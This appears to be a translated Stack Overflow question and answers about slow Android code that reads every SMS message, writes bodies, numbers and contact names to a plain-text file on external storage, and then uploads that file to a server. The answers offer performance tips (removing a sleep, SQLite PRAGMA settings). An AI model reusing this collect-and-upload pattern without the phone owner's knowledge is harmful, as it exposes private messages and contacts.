我正在从数据库中读取短信记录并将其写入文本文件。但是读取n个写入3500条记录需要3到4分钟的时间。如果记录远不止于此,则需要花费大量时间,这是不可理解的。我的代码是:
final Cursor cur1 = c.getContentResolver().query(Uri.parse("content://sms/"), null, null, null, "date ASC");
final int size = cur1.getCount();
final int sleeptimer = size;
final SMS [] sms = new SMS[size];
final String baseDir = Environment.getExternalStorageDirectory().getAbsolutePath()+ File.separator + "account.txt";
FileWriter fw = null;
try {
fw = new FileWriter(baseDir);
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
final BufferedWriter writer = new BufferedWriter(fw);
Thread myThread = new Thread()
{
public void run()
{
try
{
int currentwait = 0;
int j=0;
while(currentwait < sleeptimer)
{
sleep(200);
currentwait+=200;
for(int i = 0 ; i < 200 ; i++)
{
if(!cur1.moveToNext())
{
break;
}
ContactInfo p = new ContactInfo();
String content = cur1.getString(cur1.getColumnIndex("body"));
String number = cur1.getString(cur1.getColumnIndex("address"));
long date = cur1.getLong(cur1.getColumnIndex("date"));
String protocol = cur1.getString(cur1.getColumnIndex("protocol"));
String name = p.getName(number, c);
String type = null;
Calendar cal=Calendar.getInstance();
cal.clear();
cal.setTimeInMillis(date);
String date_time=String.format("%1$te %1$tB %1$tY,%1$tI:%1$tM:%1$tS %1$Tp",cal);
if( protocol == null )
{
type = "Outbox";
}
else
type = "Inbox";
try{
writer.write("Type: " + type);
writer.newLine();
writer.write("Name: " + number+"<"+name+">");
writer.newLine();
writer.write("Date: " + date_time);
writer.newLine();
writer.write("Content: " + content);
writer.newLine();
writer.newLine();
} catch (IOException e) {
Log.i("INFO", e.getMessage().toString());
}
//Log.i("INFO", content+" "+j);
sms[j] = new SMS(type , name , number , date_time , content );
j++;
}
}
}
catch(Exception e)
{
}
finally{
try{
writer.flush();
writer.close();
}
catch (Exception e) {
}
uploadtoserver(baseDir);
}
}
};
myThread.start();
任何改进它的想法???谢谢:)))
答案 0 :(得分:1)
只需删除此行:
sleep(200);
答案 1 :(得分:0)
调用setMaxSqlCacheSize以增加缓存大小。默认值为10.首先尝试设置20并查看时间是否减少到一半..
或/和
您可以在对db执行任何操作之前执行此sqlite查询,并查看是否可以提高速度。将临时存储更改为memory
可以提高读写速度。
PRAGMA temp_store = 2; /* 0 | DEFAULT | 1 | FILE | 2 | MEMORY; */
当temp_store为MEMORY(2)时,临时表和索引保持在纯粹的内存数据库内存中
另外
PRAGMA page_size = bytes;
查询或设置数据库的页面大小。页面大小必须是512到65536之间的2的幂。
您可以将这些陈述传递给execSQL(String sql)
或query()
。试着让我知道它是如何工作的。
查看Sqlite支持的其他PRAGMA:http://www.sqlite.org/
来自query
API的文档:
为获得最佳性能,来电者应遵循以下准则:
'phone=?'
而不是选择参数中的显式值,以便识别仅由这些值不同的查询与缓存目的相同。